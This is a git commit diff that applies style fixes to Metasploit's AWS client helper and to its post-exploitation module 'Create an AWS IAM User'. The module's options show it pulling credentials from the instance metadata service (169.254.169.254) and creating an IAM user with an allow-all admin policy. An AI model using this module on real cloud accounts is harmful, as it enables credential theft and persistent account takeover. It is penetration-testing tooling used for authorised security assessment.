Address most of rubocop's nits
parent
8f21a1f68c
commit
a13382c80b
|
@ -6,6 +6,7 @@ module Metasploit
|
|||
module Client
|
||||
USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15"
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
# because Post modules require these to be defined when including HttpClient
|
||||
def register_autofilter_ports(ports=[]); end
|
||||
def register_autofilter_hosts(ports=[]); end
|
||||
|
@ -48,7 +49,7 @@ module Metasploit
|
|||
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String)
|
||||
return nil, nil
|
||||
end
|
||||
headers_block = headers.sort_by(&:first).map do |k,v|
|
||||
headers_block = headers.sort_by(&:first).map do |k, v|
|
||||
v = "#{v},#{v}" if k == 'Host'
|
||||
"#{k.downcase}:#{v}"
|
||||
end.join("\n")
|
||||
|
@ -76,8 +77,8 @@ module Metasploit
|
|||
|
||||
def body(vars_post)
|
||||
pstr = ""
|
||||
vars_post.each_pair do |var,val|
|
||||
pstr << '&' if pstr.length > 0
|
||||
vars_post.each_pair do |var, val|
|
||||
pstr << '&' unless pstr.empty?
|
||||
pstr << var
|
||||
pstr << '='
|
||||
pstr << val
|
||||
|
|
|
@ -1,3 +1,8 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/aws/client'
|
||||
|
||||
|
@ -5,26 +10,30 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
include Metasploit::Framework::Aws::Client
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Create an AWS IAM User",
|
||||
'Description' => %q{
|
||||
This module will attempt to create an AWS (Amazon Web Services) IAM
|
||||
(Identity and Access Management) user with Admin privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w(unix),
|
||||
'SessionTypes' => %w(shell meterpreter),
|
||||
'Author' => ['Javier Godinez <godinezj[at]gmail.com>'],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
|
||||
]
|
||||
))
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "Create an AWS IAM User",
|
||||
'Description' => %q{
|
||||
This module will attempt to create an AWS (Amazon Web Services) IAM
|
||||
(Identity and Access Management) user with Admin privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w(unix),
|
||||
'SessionTypes' => %w(shell meterpreter),
|
||||
'Author' => ['Javier Godinez <godinezj[at]gmail.com>'],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', ''])
|
||||
])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),
|
||||
|
@ -36,11 +45,11 @@ class MetasploitModule < Msf::Post
|
|||
OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),
|
||||
OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),
|
||||
OptString.new('Region', [true, 'The default region', 'us-east-1' ])
|
||||
])
|
||||
]
|
||||
)
|
||||
deregister_options('VHOST')
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
# setup creds for making IAM API calls
|
||||
creds = metadata_creds
|
||||
|
@ -119,4 +128,3 @@ class MetasploitModule < Msf::Post
|
|||
{}
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue